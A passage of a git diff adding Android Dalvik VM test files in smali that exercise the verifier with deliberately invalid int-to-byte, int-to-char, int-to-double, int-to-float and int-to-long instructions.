+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_2.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)B
+.registers 5
+
+       const-wide v0, 3.14
+       int-to-byte v2, v0
+       return v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_3.smali
new file mode 100644
index 0000000..4aa4255
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_3.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)B
+.registers 5
+
+       const-wide v0, 1234
+       int-to-byte v2, v0
+       return v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_4.smali
new file mode 100644
index 0000000..d0e8d08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_4.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)B
+.registers 5
+
+       int-to-byte v2, v3
+       return v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_5.smali
new file mode 100644
index 0000000..ea63818
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_5.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)B
+.registers 5
+
+       int-to-byte v0, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_6.smali
new file mode 100644
index 0000000..58d59bf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_byte/d/T_int_to_byte_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_byte_6.java"
+.class  public Ldot/junit/opcodes/int_to_byte/d/T_int_to_byte_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)B
+.registers 5
+
+       int-to-byte v0, v5
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_1.smali
new file mode 100644
index 0000000..9063148
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_1.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)C
+.registers 5
+
+       int-to-char v0, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_2.smali
new file mode 100644
index 0000000..5d4e8c4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_2.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)C
+.registers 5
+
+       const-wide v0, 3.14
+       int-to-char v2, v0
+       return v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_3.smali
new file mode 100644
index 0000000..d3d966e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_3.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)C
+.registers 5
+
+       const-wide v0, 1234
+       int-to-char v2, v0
+       return v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_4.smali
new file mode 100644
index 0000000..f0806bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_4.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)C
+.registers 5
+
+       int-to-char v2, v3
+       return v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_5.smali
new file mode 100644
index 0000000..e2175e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_5.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)C
+.registers 5
+
+       int-to-char v0, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_6.smali
new file mode 100644
index 0000000..aca9551
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_6.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)C
+.registers 5
+
+       int-to-char v0, v5
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_1.smali
new file mode 100644
index 0000000..6552673
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_1.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 6
+
+       int-to-double v0, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_3.smali
new file mode 100644
index 0000000..443aa5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_3.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 6
+
+       const-wide v4, 123455    
+
+       int-to-double v0, v4
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_4.smali
new file mode 100644
index 0000000..57d8e7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_4.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()D
+.registers 1
+
+       const v0, 1234
+       int-to-double v0, v0
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_5.smali
new file mode 100644
index 0000000..662f50c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_5.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 6
+
+       int-to-double v0, v4
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_6.smali
new file mode 100644
index 0000000..c8cc06a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_6.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_6.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       int-to-double v0, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_7.smali
new file mode 100644
index 0000000..1e33719
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_7.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 6
+
+       int-to-double v0, v6
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_1.smali
new file mode 100644
index 0000000..a3459e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_1.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       int-to-float v0, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_2.smali
new file mode 100644
index 0000000..c767da3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_2.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       const-wide v0, 3.14
+       int-to-float v2, v0
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_3.smali
new file mode 100644
index 0000000..3ab33bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_3.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       const-wide v0, 1234
+       int-to-float v2, v0
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_4.smali
new file mode 100644
index 0000000..c166713
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_4.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       int-to-float v2, v3
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_5.smali
new file mode 100644
index 0000000..74a2688
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_5.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)F
+.registers 5
+
+       int-to-float v0, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_6.smali
new file mode 100644
index 0000000..9a96392
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_float_6.java"
+.class  public Ldot/junit/opcodes/int_to_float/d/T_int_to_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       int-to-float v0, v5
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_1.smali
new file mode 100644
index 0000000..c8de8a3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_1.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       int-to-long v0, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_2.smali
new file mode 100644
index 0000000..04fee80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_2.java"
